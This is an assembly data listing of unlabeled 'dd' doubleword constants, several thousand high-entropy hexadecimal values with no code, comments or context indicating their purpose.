dd 81782D4h, 0EF7D77E0h, 0EC0384B4h, 0F1949211h, 4F11009Ch
dd 71D6B8DDh, 0D4194B77h, 0E108BE1Ch, 0DB2F2181h, 30C296B8h
dd 163EE4FFh, 5841024Eh, 0B57D76EAh, 8E9628h, 496C1724h
dd 0F818BAA4h, 7FD83BFDh, 0E1840E6Fh, 0BE8C14h, 968B7674h
dd 9C139228h, 0A7E03A32h, 0E1640057h, 7E2D5B72h, 0FF732019h
dd 771D8101h, 0C1010207h, 7226770h, 0DB117F58h, 0F6AA80BDh
dd 0F40E3806h, 0C0048C82h, 761FF01Bh, 0CEEA00BEh, 0AFAA8851h
dd 5073F2Dh, 0F2C2043Ch, 0E023BA91h, 92CC0F7h, 0EF7200B7h
dd 6035475Bh, 241E15A5h, 6240957Fh, 0A0997743h, 340B006Ch
dd 0E8A25E8Eh, 0B01C7EA1h, 0D180E0B2h, 456C9EE9h, 73B900E4h
dd 983B4CF0h, 2200D95Bh, 3D52EBB5h, 1A9A12h, 0C2C66D9Dh
dd 0AE917EAFh, 846BA34h, 78209E18h, 79D30098h, 134B4A7Ah
dd 0DC00D0A1h, 0C8AF874Ch, 12CABF5h, 0C9629329h, 0DCC4D5C7h
dd 4500965Ah, 6ADB0B3Dh, 1EF9BE36h, 0D915Bh, 0A9499038h
dd 63CDDC1h, 8C5B14Fh, 20809811h, 3D42E89Bh, 0FE01CDEAh
dd 698CD921h, 41804EA2h, 2E0E1F58h, 11D203E6h, 0C51B3C07h
dd 4AEF4500h, 8CD6688h, 0C8022119h, 0A7BE22B3h, 3FD9C0AAh
dd 0D2E50077h, 587AC3ACh, 0E0300B8Bh, 64FB6059h, 0F9230F47h
dd 191671B5h, 81C80887h, 475C4121h, 0A730A083h, 61BEC66h
dd 35020863h, 430AF834h, 78F37C36h, 8349DE81h, 70EEDCEh
dd 25441785h, 16E33277h, 4D391D4Ch, 0EBA740B0h, 451D4190h
dd 965E9700h, 7C0B5466h, 6882289Eh, 0D2E28Ch, 0DE10FAF3h
dd 0E6C83621h, 82EC9F3Eh, 937B120h, 0A7D6407Eh, 7C5D01B6h
dd 1E0508F1h, 0E060C232h, 741C5254h, 6440D943h, 7128B39Eh
dd 0C365002Bh, 311AD96h, 50001742h, 9CE2CE20h, 0BECF48h
dd 0D53E2332h, 29265EA9h, 435AB802h, 0E00FC7D3h, 3CFF3F5Dh
dd 0E18EEE16h, 1240E5ADh, 0A5781433h, 0DE6D1A1Eh, 57048E80h
dd 3AFC94Fh, 0EEBEBF20h, 0B8F9D129h, 184E6013h, 41CFF500h
dd 4556EAF0h, 0F83B0E91h, 439FBF4Fh, 0AAD174B7h, 24EB8098h
dd 3F487760h, 0F842040Eh, 502B6CE3h, 2200CD60h, 3FD3C7F8h
dd 0F933D7h, 0D8FF48E4h, 0DA2A7451h, 0C425A501h, 0FE663A0Ch
dd 0E06EA4C0h, 750200AFh, 0E954EA13h, 7F00BDCCh, 998D1817h
dd 357215Dh, 953C2235h, 800074B1h, 0D2EF56E9h, 0FD89A1h
dd 784D1E26h, 247AD62Fh, 0F5253Bh, 0E6064A34h, 33B539D8h
dd 84D1AAA6h, 2498190Ch, 0FA9550B0h, 1D4C0047h, 0CAA7343h
dd 66E4EB5Eh, 0AEE32100h, 8DB56D83h, 30BD6069h, 807F78CDh
dd 99B01F06h, 493826h, 0B82DC0BBh, 0B4C356E7h, 0F00020DFh
dd 86A0798Fh, 9D340051h, 0B1524543h, 6EF67C5Ch, 46479800h
dd 936BC2A3h, 616CE241h, 0B1E338D6h, 7C80601Fh, 0A6907900h
dd 7858BC3Eh, 33795Dh, 83A82E85h, 0E6CC4961h, 0B925F600h
dd 39D99293h, 176617A5h, 57B2005Ch, 863516E2h, 3D9AB33Ch
dd 3E0D0070h, 3963941h, 7C6B00D8h, 5A73B233h, 0CB00BC07h
dd 9C42B345h, 0EDDDEE6h, 0AD92E22Fh, 0CE1DE440h, 0FEE6E384h
dd 48059603h, 0B182EE91h, 0CF054CDh, 0F818C0F0h, 63FE61EBh
dd 8D2A6403h, 0F80EB1E7h, 0ECEAC5D7h, 557E00BEh, 0E38843F3h
dd 1601AAF8h, 0ED2DE011h, 8BD8A6CFh, 35AE00C7h, 9A270179h
dd 0A800BB51h, 0B6BCF756h, 73BD2Dh, 0FFCDAE0Bh, 42DEB926h
dd 46A74F00h, 0F0565E82h, 0FA5D0095h, 5C9CDB0Fh, 20480445h
dd 1B6E0063h, 0B69D506Fh, 0F5B4001Dh, 0D2F65CECh, 0DB00BD2Fh
dd 0AF360B76h, 0EB6F4EBh, 0DFBEC224h, 3D3E2980h, 0FAEE128Eh
dd 5172F000h, 8F0B0FFBh, 9FEC00DCh, 4ED78BA7h, 601FCFAAh
dd 39306AC8h, 926B4Ah, 96C2675Ch, 0EC6C5049h, 0E70161EEh
dd 419FF82Ah, 50803783h, 99B65429h, 490027A2h, 0BD4425FEh
dd 1C1A8232h, 80113ED4h, 0D2F938FBh, 4FF8BB23h, 18871E00h
dd 72104D16h, 31E400FDh, 0C1BDCFD0h, 5A010E46h, 0E52C7C76h
dd 3CD077F0h, 0F6910016h, 15FCC282h, 0F11D2DB1h, 7F00A23Eh
dd 32163D4Fh, 20E71731h, 13710E3Bh, 7118FAACh, 5CD1FD1Ch
dd 9ED98300h, 0BE73F5h, 560CCCD5h, 762F7113h, 68963E37h
dd 40729250h, 1FA503C9h, 1E2DA042h, 2100FDA3h, 0B3751A6Bh
dd 7F021B21h, 0B7F0A8h, 1F01EBD6h, 0A1992825h, 0C6784D60h
dd 74DCDB6Eh, 4C10C03Ah, 708FEB3Fh, 6DC23B03h, 0A1C30462h
dd 20803E49h, 84EB53DFh, 14396B64h, 9646832Eh, 10B45701h
dd 3C2D58h, 0D9C9D51Fh, 0F28A5633h, 207C6063h, 0F5849890h
dd 33C3748h, 0B31A4513h, 74A8A8C8h, 35FAA1h, 5448F263h
dd 2D2C851Dh, 0FB9C9D00h
dd 91277618h, 833A00CBh, 62BFC488h, 0BE002F2Eh, 6D576B4Eh
dd 5833BCBBh, 98052CD5h, 0C04275D6h, 0F46EF651h, 35290D00h
dd 77DFAF91h, 8DD30052h, 0BB7E0A63h, 0B00082D0h, 83233416h
dd 0FFE24Eh, 73FE2A6Ah, 149F1E8Bh, 5C097F2Ch, 836B8039h
dd 2E38258Ah, 0C038DC8Dh, 0F2A5E020h, 48C0FD9Fh, 0CCB5BB06h
dd 10E0E935h, 2D04004Dh, 0CF7ABE47h, 0DD004379h, 746F29B7h
dd 0A8C71Fh, 0CC6627E5h, 0C4137F5Ch, 8C10F301h, 0B2733D07h
dd 909930h, 0BAE81F8Ah, 637AE206h, 9F683363h, 0B4DAC0E3h
dd 0FF4E00C9h, 22BADF10h, 0F307EF4Dh, 6040B25Ah, 0E4B6B7D0h
dd 3A5D00DDh, 46580906h, 867EFDEDh, 870E1301h, 0BF18D91h
dd 78BB1BCCh, 1F22EE61h, 40ECF917h, 8B6BD138h, 3F00B9EDh
dd 5D671D80h, 25157Fh, 3811DA09h, 2B69C5FEh, 8EDF4700h
dd 188F743Eh, 96E5007Ch, 5BB19BAEh, 0A21D9588h, 9DFAE013h
dd 9C7C1210h, 80BFCBDCh, 3454E2Dh, 4791C5h, 0A569C3EFh
dd 926C7AF8h, 0E693C600h, 7DECEB30h, 0B857002Ch, 0AF3EC53Bh
dd 8A018E35h, 94032070h, 0A2C882DCh, 456900C2h, 64995272h
dd 833B2E24h, 6AF9AE6Ch, 931EDC00h, 0A5CD79h, 0EAD4220Fh
dd 0E4B529B4h, 0D557AF07h, 0F6401B5Ch, 60DCDE68h, 6245E034h
dd 0EF00EA6Bh, 0CA464C3Ah, 1DC73B22h, 23A22Ch, 0A5C2981h
dd 0B20CD55Bh, 88647A71h, 54B4007Eh, 0A626C0D2h, 341C8A14h
dd 0E8B01346h, 0E01507D6h, 7E5E1D61h, 0EEFECF0Ch, 8D80B28Fh
dd 254622C2h, 587B7201h, 0DB345D53h, 538A3FCh, 7E3C1DE5h
dd 5C5880D2h, 5E3A9FACh, 93B1009Ch, 8D6EC43Bh, 4EE007B3h
dd 40BF57F3h, 0D6647744h, 0E8D9A30Ch, 39ED48D1h, 1314091Eh
dd 1AC10CC2h, 0E4D3BB1Fh, 843D9BA2h, 0CAD480DBh, 0B87BB099h
dd 0FE8300B2h, 22B33E68h, 0A500415Dh, 7CDE0119h, 4BFD0Ah
dd 0ACE48135h, 0D338B9DDh, 68ECC300h, 56B649A8h, 0D83100C6h
dd 8E08D52Ah, 0B00AA2Eh, 833BB9B5h, 5D80F5h, 0D9308711h
dd 0C17E178Dh, 0EA6EE0E0h, 2AC80A8h, 0E59472Ah, 0A77AFFDh
dd 657F4360h, 3200816Ch, 4E993952h, 6E36AE4h, 0F25A00Bh
dd 0D91841DEh, 1E9BCF1h, 0D37C0175h, 5C5383B5h, 0C1188026h
dd 7FB72E86h, 3472A9h, 5876A554h, 9F599D57h, 928D9B00h
dd 5196BC84h, 0C20E005Dh, 0B6F585D0h, 90016815h, 94C98A2Ch
dd 98D82023h, 78E0001h, 1545D153h, 0D40019E3h, 5E620DC8h
dd 82F561h, 0C1FF4D3Ch, 0D816D23Ah, 932EB7E8h, 1D00A097h
dd 486FE87Ch, 0BAEA2F2Eh, 40F36DEh, 5728B834h, 0AE893E3Eh
dd 64A0CE00h, 6149D9F0h, 0AA291318h, 96B1170h, 18D46AE1h
dd 0D0D8A883h, 3ACEA388h, 0F5D11E00h, 0B2EA86B5h, 72E200C2h
dd 0B0E8F694h, 153D3AD6h, 78E9B04Dh, 383710Eh, 0A1BC1C87h
dd 0B5A0BE6Bh, 62061499h, 0F37E86E4h, 32C8599h, 0B865982Ah
dd 0F85BA836h, 4FAD0DF0h, 0F060E82Dh, 54135FFBh, 0B00199E7h
dd 3EE93DB2h, 45B70880h, 89A9A778h, 0E4C0B018h, 5CA03A30h
dd 0FB180DABh, 491E28D9h, 1101E97Fh, 154DF9ECh, 0BD49F05h
dd 0B1390035h, 72511C68h, 0D30AC22Eh, 0B84BCE7Ah, 0DF59DE82h
dd 1424A0EFh, 0ECB303h, 743A5386h, 0FD26EDD1h, 30B26330h
dd 30D0347h, 76817C9Fh, 48001B78h, 60222FA4h, 6CBF54h
dd 924C8AD5h, 20EF52E2h, 3AB32700h, 0C9AB64B0h, 78EC48h
dd 6C03887Eh, 6D461842h, 0BC764E00h, 0E85B9E9Ah, 7F3A5CA1h
dd 70724400h, 982140C2h, 79914503h, 9068BB85h, 1EA8A657h
dd 836FF167h, 0AB41C9AAh, 0C8D2EEC0h, 0EA62BE00h, 12F33FA8h
dd 0AD8A01FCh, 66632381h, 0D0D720A7h, 0EE036A00h, 0CD05D4CFh
dd 897B7Eh, 8EDDDE2h, 0D7BBF542h, 1AABA300h, 0B8333E40h
dd 0FC0737Dh, 0FD896332h, 70A62FC3h, 9C8A5D88h, 0E6AA3307h
dd 0C4701F29h, 158505Ch, 564EF1E3h, 0F6C59FA6h, 5BC3ECC0h
dd 7F6771Dh, 5700D29Fh, 1098A753h, 0B4362484h, 867B806Ch
dd 96D3352Dh, 0C9B5F31Eh, 0FE3CA500h, 18A0BE4h, 0E047C2D9h
dd 30640E22h, 8500A421h, 611C715h, 95CAA92h, 4AA0FCEFh
dd 72823C20h, 30ECCBCh, 4035A1A7h, 0BFF7CD8h, 7D6C1F68h
dd 3F5E85h, 52CEBC8Eh, 0CF00D17Bh, 1F54CB49h, 0F919A7h
dd 24BE512Fh, 7A5E6C60h, 0CD0E8800h, 1478387Ch, 9719128Fh
dd 0D8C500FBh, 1B170710h, 1D26AC38h, 53C00C03h, 27BC4995h
dd 0CF2301C7h, 6899207Bh, 0DEAC20B6h, 0B7004D78h, 7829DDF0h
dd 0B06450CEh, 3C580F46h, 40FE8811h, 4E048902h, 0AD3CA9ABh
dd 0DE1D0073h, 0B42F6AF3h, 267700BEh, 72886E1Eh, 47008D76h
dd 51744536h, 2D6865h, 0E721D4E9h, 0F4B42CA3h, 1C705A03h
dd 0A8F3BB0Ch, 0E165D30h, 0C97584B0h, 43B5D780h, 0F4003AE7h
dd 2CD9F39Bh, 0B01089CFh, 0C94E00D1h, 0EBEAB6A3h, 28FCBB7Bh
dd 1EAC9107h, 4C91E3F9h, 0FFEC4BF4h, 0D85100AEh, 3F3CDC6Bh
dd 6100432Ah, 0CC4D2973h, 3D2E2339h, 0A8BC194h, 0C3810360h
dd 0F01C3F46h, 2D00D6D8h, 0F529BD1Fh, 73301Dh, 36CF1352h
dd 548E669h, 9B7ED900h, 97DAAF5Ah, 0E9B905BBh, 0C0B8D64Ch
dd 0D57FA8E9h, 0C8AAD800h, 442569E1h, 0BBDB01ACh, 715FB555h
dd 0A4EE0EFh, 5D4D6200h, 0DCD01F6Eh, 0EE7C0074h, 6CDFCF60h
dd 1C70530Dh, 2AEAD277h, 0D8879B00h, 0F204982Dh, 0ACB2009Ch
dd 84A15E8h, 0DB005135h, 0B6D770D5h, 0D2805Bh, 0B10EAC1Fh
dd 0C46F6345h, 33ECD5B0h, 18C85218h, 0D15910h, 2906C63Ch
dd 728D0405h, 7FB8205Eh, 17EE0075h, 198609B6h, 0F6E6BC74h
dd 5793EF00h, 88DBABCBh, 0F02D4F3Bh, 0D20F5CE7h, 40A7A909h
dd 2786F208h, 0FCC400C1h, 40BB4723h, 0B3FA4C95h, 85DB4E02h
dd 80444172h, 81DAD24Ch, 65F500C6h, 84E5DE4Eh, 3D007109h
dd 0A78634Ch, 532B82h, 0C4EA57C9h, 1B70A745h, 4E0E4200h
dd 7F8A8426h, 3A9202F3h, 2BD8ECBAh, 9E1AF060h, 52DF5800h
dd 0E17AD403h, 6A8E0064h, 8390C888h, 0FD1C4C9Fh, 4EC04774h
dd 0DA846EF5h, 75A700C2h, 0CFF0A159h, 0F60366D8h, 485F880Bh
dd 5CC0CDDEh, 4A021Ch, 63C4B103h, 920A3037h, 0A5320609h
dd 0ED8D80AFh, 75FD1E2h, 0B4E1612Ch, 58200F94h, 6429AEFh
dd 84F7C03h, 739E8D5h, 4B7A70C9h, 0FC8A3Ah, 0A5F9EBADh
dd 0F03E8789h, 16E100BBh, 0B877CAB7h, 4A6200CFh, 0ED14F895h
dd 74398FA3h, 11C01D3h, 0D60FC7DDh, 78F32BC4h, 73E390FAh
dd 1B7A2498h, 3CFEE138h, 27818018h, 0E4E223F0h, 0F8103E5h
dd 15AD03C9h, 0F67AB0A8h, 0CC5C4149h, 2E04CDh, 5761A763h
dd 0B8172508h, 0D15A3100h, 0A4C45F21h, 133B2642h, 0BBA63836h
dd 580038AEh, 0CB52A854h, 3E00569Ch, 7A92C824h, 908459Fh
dd 0A5CBEF7h, 51A38020h, 0E6793D78h, 0F93BD109h, 93800B3h
dd 18459606h, 4039FA07h, 44421A76h, 0E7593087h, 7F6CA0EFh
dd 0D718DFADh, 0F1518177h, 264E07Eh, 0C4E0E1CBh, 3080DB0Dh
dd 0CE2DC316h, 8014AE7Eh, 80D40C8Fh, 0AC73D8B8h, 0BC9A005Dh
dd 0F7D8372h, 3E0082A8h, 6D56C8E4h, 0E3AD34h, 0E588EADDh
dd 0CB479340h, 0F01CBB03h, 0A861ECBDh, 73384Fh, 0E458173Fh
dd 0B20B9D4Bh, 22CB1500h, 0DCA57E9Bh, 5D6800D8h, 0F2039972h
dd 1B002D8Dh, 0B4B2F9FBh, 0ECFA31h, 9454E5E9h, 0FD205636h
dd 0E01E920Fh, 128CA0A6h, 50F93ED1h, 0F2BDBCh, 5513FC30h
dd 428FE6CAh, 0A2032998h
dd 0F6690288h, 0B93BA063h, 4088DD29h, 0B1062AB6h, 8624EB2Fh
dd 0E404584Eh, 9E4040BFh, 6FD732CDh, 7E571001h, 0D32DF151h
dd 0C0C2E0h, 0AE1DAB4Ch, 72224667h, 6DC3C600h, 301FECE3h
dd 0BCFA00C1h, 31F7E1EEh, 99785DF6h, 4A64B100h, 0D4825712h
dd 0CA360EA5h, 7580C0C7h, 0D6D034BEh, 5E3DF616h, 0BF80391Ch
dd 26486118h, 672100AFh, 568CDE6Ch, 4D7D93CAh, 0FC0F477Fh
dd 44AB85h, 0B570FF7Dh, 0CD77077Eh, 0DAF31434h, 0E1018FECh
dd 55836E40h, 130E03FFh, 763C939Ah, 0A220FC00h, 48F18D74h
dd 0C113DC41h, 20642D97h, 66003CB0h, 62544EF5h, 17BC2E5h
dd 9BAE77E0h, 20A5CEF0h, 9C3B2177h, 6A3F01h, 4812DCE7h
dd 0CFE3AAh, 8B237B25h, 327A811Eh, 0B163A600h, 0DFDD3753h
dd 65B900A7h, 610EC96Ah, 8C00397Eh, 393E02Dh, 7BD0819h
dd 17D48AD0h, 97E7207Ah, 430E9A67h, 6047B8AEh, 516F960Bh
dd 60DD01CBh, 534D983Eh, 2263C071h, 37CAEC00h, 2172FF6h
dd 5F6107F7h, 204CE8FFh, 0CB7326ADh, 0C42BE900h, 252A6D09h
dd 0EF3000D0h, 359E29ABh, 7002D12h, 76A9CA66h, 5CCC59h
dd 2E4D0B5Eh, 514B0E6Fh, 6BFFEC00h, 9855D1F5h, 0A08F0039h
dd 0A80B477Eh, 0CF008DC8h, 0EA08F020h, 7E85679Dh, 63F80459h
dd 834FCA44h, 0DD1B32h, 0ACBD7FAAh, 6B3089A6h, 0F20FD406h
dd 0F61C00DFh, 0B444F408h, 7B0CEAF7h, 4037BD6Ch, 99D00FF5h
dd 1C274C89h, 822C4075h, 0D400FFE9h, 65976C53h, 7664404h
dd 0DF01B479h, 6E0EE10h, 17B729F9h, 3BCFED00h, 688980B1h
dd 771D7FA5h, 0B8210ED1h, 0C80D6E0h, 5F5EA752h, 0F19EBB00h
dd 0C44FFFFCh, 0E8BD3A20h, 9688A180h, 2324173h, 6F00B7E6h
dd 0C812C475h, 1400464h, 0EA1C3C98h, 0D809318Dh, 0F5FAE555h
dd 1B5A5807h, 1EA0B287h, 73247A1h, 761C2B7Fh, 0ACB45065h
dd 0F107487Ah, 0F2B2C47Dh, 6A7E04E9h, 0D9733490h, 5D70A5h
dd 0C7342540h, 0C5DCDBE3h, 0DE7BD807h, 98912313h, 0D8511AE4h
dd 44E86BBEh, 0B7E202BCh, 83ABDE9Ch, 316A9880h, 0A057A8A7h
dd 1AAA11C0h, 0D280E043h, 0F57A87F1h, 6B0BA81Eh, 2B182198h
dd 29FA037Fh, 0B77C0A8Bh, 46EF7598h, 5A00E0E0h, 53EDCC04h
dd 92490803h, 4E760058h, 0E9690A06h, 7E00ECFCh, 207D0ED9h
dd 1DABF088h, 0C7A9BDF1h, 304307D4h, 0BA1E391Ah, 8A9E7A00h
dd 9F6338D3h, 3BF2E5h, 0B4D648BFh, 0F2ED266Dh, 98C36100h
dd 0DEEEAE64h, 849F00CBh, 3CD8EB1h, 0C90F19BBh, 8117A813h
dd 0DD3AB0A6h, 9BF8E4h, 0BA479571h, 6C150BB8h, 0FD00E17Eh
dd 0D502AE8h, 0C4B7B27h, 1C3F0716h, 0F007ABDCh, 2CF4E2E1h
dd 3F87CCD5h, 0ED48F690h, 52E08Fh, 1ABF7C64h, 77EB132Dh
dd 0F0D0C050h, 3FE22F00h, 8216A8B3h, 4C99031Ch, 58EEA7D3h
dd 71A3690h, 0F63A7200h, 63054CBh, 667E0C82h, 0A53AA24Bh
dd 7D773400h, 0F26D67F3h, 0F22A7D72h, 47DE3DEAh, 0F4A808BFh
dd 98FE00E4h, 9CCF81C1h, 12E828CEh, 847AC90Ah, 630610D5h
dd 339EEB9h, 20875F89h, 1CA04928h, 0FF7C24FBh, 10512F37h
dd 3AE8EB00h, 0C407846h, 0F0B7A2ABh, 0EF009B48h, 16D92813h
dd 603BE2AAh, 492B61E7h, 0FB00B168h, 85C66D78h, 549231h
dd 0C1A5387h, 3F8E71CAh, 1426607h, 94EA05C2h, 30B0F78Ah
dd 2AE83F17h, 0A6A58300h, 37399B9Fh, 6572840Fh, 0B6B4A026h
dd 0FA425644h, 0E3F200ECh, 46CCC04Ah, 0A91CC3C2h, 1DC02DC1h
dd 8073155Ch, 740800AFh, 0D265D2Fh, 0A30053A1h, 461756EAh
dd 0C42DCEh, 0EFD549DCh, 208C23D3h, 0A24EB100h, 71B742A7h
dd 5C1300A5h, 0C98B1B7Fh, 2200B8F7h, 4E38B02Ch, 0C7FC78h
dd 7BBF1C66h, 46AF9F15h, 44DEB0A0h, 0A0FE8BF6h, 4BDC4D00h
dd 94A33E2Bh, 14060B92h, 9A872DA9h, 0C445A09Dh, 6400AEE3h
dd 2898BB72h, 0C93B69h, 70795124h, 1D522EEFh, 0FE3C1402h
dd 8109BD78h, 0C97FE4B8h, 9BD82131h, 157D009Eh, 0C18A4EF2h
dd 0AF6037A2h, 500A7029h, 71AE00C8h, 84824851h, 0CA54C1C5h
dd 0F53A3EDCh, 0EAE080ADh, 0D7F09AF3h, 0E3B80E73h, 5F613574h
dd 242D448Ch, 43003324h, 81837776h, 3BEA526Fh, 5C02F525h
dd 0B3C8CDFAh, 1D28E4A1h, 47A3D47Fh, 0BD5A000h, 0A18E5749h
dd 7B800176h, 64D3949Ah, 0FE984230h, 8310FE40h, 0A3F48C00h
dd 84AB605Dh, 1F0B06F2h, 81A673E5h, 9DB9980Eh, 906898D4h
dd 11790C0Bh, 5121C46Bh, 505CE000h, 4538D7F7h, 81AA16F0h
dd 4AEC0093h, 2098217h, 4184FF00h, 36834BD5h, 7B1B0098h
dd 9B923C7Dh, 28003530h, 6F8A5F09h, 0BF6474Eh, 0B4ED5C3Fh
dd 0D05705C0h, 5A1A2300h, 4301107h, 0F8787AD1h, 840A1DD5h
dd 44F98748h, 4016805Bh, 0FA3B89D8h, 3D100F6h, 60320CDBh
dd 0C07F5B3Bh, 3923BB6Ah, 0D0849103h, 80EE2C5Ah, 1D7D2DA4h
dd 12254E6Ch, 958300EBh, 0BAF6579Bh, 0D9AB3D00h, 254B283Ah
dd 284552A5h, 4FC686A0h, 0F1470984h, 0DD00DCCEh, 0CF669C6Ah
dd 450A5506h, 0DE784195h, 0C54906C0h, 6900B8DFh, 9EC8EE88h
dd 280CA041h, 1740E58h, 602E89AFh, 0E0EE83FAh, 8CC9827h
dd 8494Ch, 3546E99Ah, 0CA2DAECh, 2A03DB7Ch, 500BA34Eh
dd 92E3C002h, 6699000Ah, 0C60F1B6Ch, 0D8037025h, 321D4197h
dd 0A5A6C880h, 0E1F20137h, 44A1CB9Eh, 9A2A83B0h, 0D081B8E5h
dd 7975B4E2h, 0A8D00407h, 0C0D63951h, 0DAF28713h, 2B024D00h
dd 2D96771Eh, 25E7000Ah, 84B51AD6h, 580072CDh, 0A7223F60h
dd 65A8B5Dh, 0B8B92573h, 4307486Bh, 0B00ACFB6h, 9D8B2660h
dd 80567CEh, 1620FC8Dh, 0E19F9A12h, 0BC48B201h, 0B8D0CDD4h
dd 0BF393004h, 59E82090h, 1A1D600h, 0F7CDDA80h, 7DB4361Eh
dd 437BB170h, 0E03A33F0h, 0ADEF8ADCh, 69061C9Dh, 0F8581083h
dd 0A0F4FC8Dh, 42FCA254h, 51B24068h, 12ADC10Ah, 0AFC0549Ch
dd 160AE7h, 3C03715h, 7AABE923h, 0D12E071Dh, 0AFF44300h
dd 2D624Bh, 0B0634482h, 0FB7CA97Bh, 33031DF8h, 0F6E36C65h
dd 0B57EF856h, 819D0ECCh, 1A00A204h, 62C17AFEh, 5DBA700h
dd 96E64811h, 1B85004Dh, 0C97D6917h, 0BF004B4Eh, 83A55F19h
dd 5A0FEFh, 396216B8h, 0F68D4F69h, 26120C00h, 0F5526402h
dd 0C57A03BDh, 851F04E1h, 0ECF48BE9h, 9A008121h, 7B10D64Ah
dd 395CDCh, 947349ACh, 372D5DF3h, 4243DB1Fh, 4FD2807Dh
dd 66C8A670h, 89E600B8h, 2CBDFA10h, 0ED00CE3Eh, 4E914DACh
dd 14123Dh, 45A01DDCh, 78A2025Ch, 0B900467Ch, 0AE40A62Ch
dd 0B1FE98h, 207742C9h, 9AB9EEFh, 2C51E03h, 0B0FBAE43h
dd 5B4DA5Ah, 426FE3CEh, 3CBF80C0h, 5D906428h, 0A980F607h
dd 7D405C84h, 53020B2h, 16A00868h, 9861C635h, 11F1F801h
dd 8978ED7Fh, 138B7E0h, 1A282936h, 83AF13CCh, 0F8EC2F71h
dd 64B00F39h, 0A201D24h, 0E3D14F0Ch, 9DDAD800h, 5984E54Ah
dd 14DB00CFh, 2BA81655h, 0B93D8233h, 51890145h, 5803D48Bh
dd 0FE90F740h, 2703D37h, 40837980h, 0D0EBFD27h, 0A059BA00h
dd 3F9DD6BCh, 0B27C0042h, 11D78F7Dh, 1C12ADCBh, 0A1AC5C43h
dd 58598000h, 0D74167Eh, 65A9E400h, 1B5DDB69h, 886B01AEh
dd 5CD743CFh, 67F02E48h, 2B7516B9h, 83E5012Eh, 8C2D7082h
dd 30BBF308h, 16BE0030h, 4A04BC87h, 0BD60C21Dh, 83C1C818h
dd 85DF003Dh, 1419C322h, 8A1FF80Bh, 6D00D203h, 52FD2E7Ch
dd 88423084h, 40A74998h
dd 19F2A41Eh, 0DE8FFB00h, 300A9EF3h, 0E870F004h, 1F00F4FEh
dd 91C498B9h, 0E8C31C74h, 20F6608Fh, 0F4F19AC1h, 3E4CE41Dh
dd 0DC931D00h, 735E43h, 0BD014BFCh, 6BF7680Eh, 7857EA31h
dd 0C9DBA0B8h, 0A3E0FF09h, 0E4340667h, 206541AFh, 0EE752900h
dd 0E37BB8BAh, 0C3AE01CFh, 3A5E34C4h, 0FB88F58h, 73D06578h
dd 0B8BA5083h, 86929Ah, 10C44D5h, 0DAC6390Eh, 31183A00h
dd 3C4181B9h, 8AF23FB7h, 0F8809238h, 0AF53500Fh, 8200DA62h
dd 5FA5D69Fh, 477E4Eh, 5C184B2Ah, 0C78F2E71h, 8566500h
dd 9922EF25h, 7B9B3D26h, 947D0600h, 13E8B01Dh, 24B8C600h
dd 0E94FA090h, 0C7F5001Fh, 84AE2258h, 9E0063FCh, 7855828Eh
dd 3CCF3E9Fh, 0FB00C5B1h, 163906DBh, 0FE00F44Fh, 0E4332ADEh
dd 7C9A6831h, 0EF9C0029h, 811E4CC1h, 0FA1E882Dh, 0D003FF17h
dd 0E8A0896Fh, 17D3CB53h, 0C9CCE78h, 3B201BE7h, 0B57BEF00h
dd 31E52459h, 26420CB0h, 4941D416h, 40DAF81Dh, 0F9681FD8h
dd 7AFE98h, 789AFAD3h, 0B7058663h, 0A2843A0Ch, 3211817h
dd 0AEE58D08h, 80EC52BAh, 0D705AB4Fh, 0F46B1E00h, 0ECC0865Bh
dd 0BA870781h, 0CF479812h, 0AEC69500h, 0C900AC03h, 0D7484DB6h
dd 0EB676Fh, 49145BBFh, 39FBA362h, 8597EE00h, 46CAED8h
dd 78E21F61h, 82C28090h, 8743AFBCh, 0F8768630h, 1C55F4h
dd 453C8881h, 94704A92h, 0A402D100h, 772D5279h, 1FEA03F6h
dd 88590A50h, 196E9D0h, 0BF24C03Bh, 329B009Eh, 77E10940h
dd 22A700C9h, 3073F7ACh, 41004612h, 0AFAAE7ADh, 0E46614h
dd 0B3920AFDh, 4B515F9Ah, 28A530C3h, 0D3380FA8h, 0F9615E5Ch
dd 20074D0Fh, 76003528h, 0DC12D8E9h, 58D2DFh, 0C29915BAh
dd 0CCA43156h, 0ADB2E00h, 0F529DC97h, 44623FD1h, 0BD763801h
dd 0F0AEF739h, 0C407F4CDh, 4B95FB4Eh, 79698B3h, 0A8879331h
dd 0A67603Bh, 0B3001480h, 0CFC8B96Dh, 3AA5C42Ah, 0A160C05Bh
dd 0BB0CEFD6h, 0F05FF900h, 0E2D4A74Ah, 3F2AC044h, 0D88AE72Dh
dd 0F88F2B00h, 4F41D548h, 0AB360028h, 52F498C6h, 38DFFDB5h
dd 0A480AC5Eh, 33F585E7h, 0E65018FEh, 587F69B6h, 0D1D76703h
dd 8B80E75Eh, 388EE4h, 0B173D922h, 0EA32C398h, 18F31D30h
dd 0DCAF3Ah, 8A02D893h, 6FA0BA2Eh, 7F4DFD01h, 0F373CFBCh
dd 3F9E68C4h, 0B700240Ch, 0E2C08BA1h, 0EA031EB2h, 0F66D3241h
dd 581780F4h, 82BB0019h, 0F3BD454Ch, 180040F9h, 0C44FF867h
dd 3FFD577h, 0B9AA61BAh, 0DAA363E3h, 0B3651FC0h, 0D225C10Fh
dd 0D2F077Ah, 389D8EAFh, 75D1C20h, 257CC0B3h, 0AC1D9018h
dd 0B0BD674h, 0DFE3A5h, 703E5842h, 0F030CFCDh, 89EF6383h
dd 0D39F8101h, 9D7FBB16h, 77A01047h, 3A68F9F5h, 0A0E02B87h
dd 165B1C81h, 10CD4A00h, 77A00B94h, 9898E82Ch, 9A41C0FFh
dd 0D1216F2Ah, 39F4E9F2h, 18EA3F3Fh, 0F9209C1Fh, 0B37E000Ch
dd 0CE1E9AFDh, 6038361Bh, 9FDF05F0h, 8001C44Eh, 5629A76Bh
dd 0D2929857h, 0B35A40C7h, 6EB50079h, 43926D52h, 9900A46Ah
dd 0C51B65D1h, 5FB456h, 0E50A369Fh, 0D546C43Dh, 0F090827Ah
dd 0F866EE01h, 7C7D2873h, 5C39C887h, 7617A08Eh, 0E20FE170h
dd 0F9DF0Dh, 1A363AFCh, 32500FAh, 8E8267DAh, 5300E70Eh
dd 3A931315h, 0FC1E52h, 0B0C25F89h, 0F7AF1764h, 40D7980Eh
dd 0F4CA00FDh, 7B656735h, 3A75B4h, 51C5E155h, 17D527F0h
dd 4F40C00Fh, 8F8BC07Dh, 0CC6ABCh, 0DEBBB4CFh, 26092E1h
dd 0B9CBE200h, 9E5DA30Ch, 49BE18D3h, 5ACA90D9h, 9F632B1Fh
